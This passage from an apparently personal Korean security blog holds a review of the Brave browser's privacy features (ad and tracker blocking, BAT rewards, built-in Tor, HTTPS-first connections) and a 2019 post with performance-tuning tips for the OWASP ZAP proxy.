광고주들이 이런 Add block을 피해가기 위해 여러가지 방식을 고안하고 광고를 노출시키려 하는데, Brave의 경우 체감 상 잘 막아주는 느낌입니다. 덤으로 추척 차단 또한 기본적으로 on 되어 있습니다.

2. Brave Reward(BAT)

전 솔직히 Brave에서 이 부분이 가장 독특하게 받아들여졌습니다. 광고를 차단하고, 사용자의 니즈에 의해서 광고를 보고 사용자가 수익을 얻는 구조이며, 나아가선 본인이 맘에든 웹이나 컨텐츠 제작자에게 수익을 기부할 수 있는 구조를 가지고 있습니다.

이런 과정에는 BAT(basic attention token)이라는 블록체인이 백엔드로 받춰주고 있으며(그냥 코인이고 보심되요. 어찌보면 스팀잇같은..) 브라우저를 사용하는 사용자, 크리에이터 모두를 지원하려는 계획을 가진 것 같습니다.

https://publishers.basicattentiontoken.org

저도 지금 광고 부분을 좀 줄여볼까 이런 생각도 하고 있습니다. 솔직히 광고 수입이 옜날에 비하면 많이 박살났습니다. 1/10도 안되는 느낌

이유라고 하면 저도 블로그에 무분별한 광고(치아, 병원 등등….)가 싫어서 광고 범주를 굉장히 한정적으로(텍스트 최우선, IT위주..) 바꿔놓다보니 발생한 문제였는데요, 솔직히 그럴거면 그냥 뺴는게 나을 것 같단 생각이 들었죠.

아무튼 본론으로 와서 BAT를 받을 수 있는 환경이 있다면(아직 제대로 안찾아봤지만) 이쪽으로 미리 세팅해보는 것도 나쁘지 않은 선택 같습니다. 유튜브쪽은 이미 뭐 진행중이라고 하던데…

3. Tor 내장

이제야 약간 보안쪽 이야기가 나오네요. 보통 브라우저에서 제공하는 익명 브라우징들은 그냥 쿠키나 히스토리 누적을 안하는 정도 ~ VPN까지입니다.

심지어 VPN도 가장 잘 숨기는 것 같은 오페라에 적용된 내용이지요. 아무튼간에 Brave는 Tor 브라우징을 내장하고 있습니다.
(아 이 얼마나 좋은가.. 맨날 토르 브라우저 따로 쓰기 싫었는데..)

익명 브라우징 이외에도 어니언 도메인 접속하는걸 봐선 굉장히 유용한 기능이네요.

4. https 우선 사용

아 또 맘에드는게 나왔습니다. 대상 사이트에 HSTS가 설정되어 있지 않아도 우선적으로 https 연결을 시도합니다. 음 브라우저단에서 강제적으로 HSTS 같은 정책이 적용되어 있다고 보시면 됩니다.

만약 http 만 있다면 http로 접근하겠지만 우선적으론 https부터 붙기 때문에 조금 더 안전한 웹 브라우징을 할 수 있지 않을까 싶습니다.

여기서 간혹 http => https 로 redirect 되는 사이트 많아서 별거 아니라고 생각하실 수 있는데, hsts 처럼 브라우저단에서 제어하는게 아닌 웹 단에서 302, 301 js 등을 통한 웹 redirect는 http 페이지에 한번 붙는건 맞기 때문에 MITM등에선 데이터를 볼 수 있습니다.

그래서 이 기능은 충분히 쓸만하다고 생각됩니다.

그외..?

음 그리고, 솔직히 빠릅니다. 광고 제거로 인한 부분 제외하여도 브라우저 자체가 빠릅니다. 크롬엔진인데, 전혀 크롬같지 않아요.

덤으로 확장 기능은 같이 공유하니 더더옥 편리하죠(사실 확장기능은 대다수 브라우저가 서로 공유할 수 있습니다. 스토어 달라고 코드는 똑같거든요..)


개발 참여

Brave는 깃에서 core, browser , ios , aos 등등 대다수 환경에 대해 오픈소스로 진행되고 있어서 관심있는 분들은 참여하셔서 pull 날려주시는 것도 괜찮을 것 같네요 :)
https://github.com/brave
Share: | Coffee Me:

4/02/2019

느린 ZAP을 빠르게 만들자! Zed Attack Proxy 최적화하기

취약점 분석에서 필수적으로 사용되는 도구 중 하나인 ZAP(or Burp 이지만, 이번 포스팅에선 ZAP만 다룹니다)은 많은 기능을 가지고 있지만, 솔직히 그 기능을 다 쓰기전에 느려서 속터집니다.

zaa....aaa....p......은....저..ㅇ...마..ㄹㄹ.....빠..ㄹㄹ...ㅏ...

우선 Java App으로 JVM 위에서 동작하고, 기본적인 동작 자체도 굉장히 느릴뿐더러 기본적으로 제공되는 옵션들로 인해 한참 켜두게 되면 버벅거리거나 심한 경우 PC가 죽는 경우까지 만날 수 있습니다.

오늘은 ZAP을 최적화하는 방법 4가지에 대해 이야기할까 합니다.
(솔직히 거의 다 passive scan 관련이네요…)

Passive scan rule 조정하기

Passive 스캔에서 적용되는 룰들을 on/off할 수 있습니다. 블필요한건 내려주세요.

저는 거의 custom rule만 쓰고 있어서 평소에 다 off로 해두고 있습니다.

Passive scan Tags

Passive에서 체크하는 태그들을 지정할 수 있는데, 패시브 스캔 성능 자체에 영향을 줄 수 있는 부분이라 개인적으론 유지하는게 좋을 것 같습니다만, 혹시나 그래도 느리다면 이 부분도 조정해주시면 빨라집니다.


Passive Scanner

사실 모든 페이지에 대해 패시브 스캐닝을 돌 필요는 없습니다. in scope만 돌도록 적용해주시는게 좋긴합니다.



(어차피 패시브 결과 거의 안볼꺼자나요)

Display

ZAP쪽에서 기본적으로 설정된 부분이기도 한데, Request/Response의 데이터가 지정된 길이 이상의 데이터로 발생하는 경우 바로 내용으로 표기하지 않고 Large data 어쩌고 저쩌고 하는 식으로 표현해줍니다.

실제로 zap이 가장 느려지는 부분이고, 보통 js 파일들때문에 zap이 잘 뻗기 적당한 수치의 값 조정은 필수인 것 같습니다. (옆동네 burp는 괜찮더만 넌 왜그러니..)

그리고.. 이미지 처럼 9999999 넣어주면, 거의 모든 요청이 보이기 때문에 이미지 따라서 설정하지면 안됩니다 ㅜㅜ



아무튼 이 부분은 되도록이면 적당한 수치의 값으로 넣어주시는걸 추천드립니다(이미지 따라하지 마세요)
Share: | Coffee Me: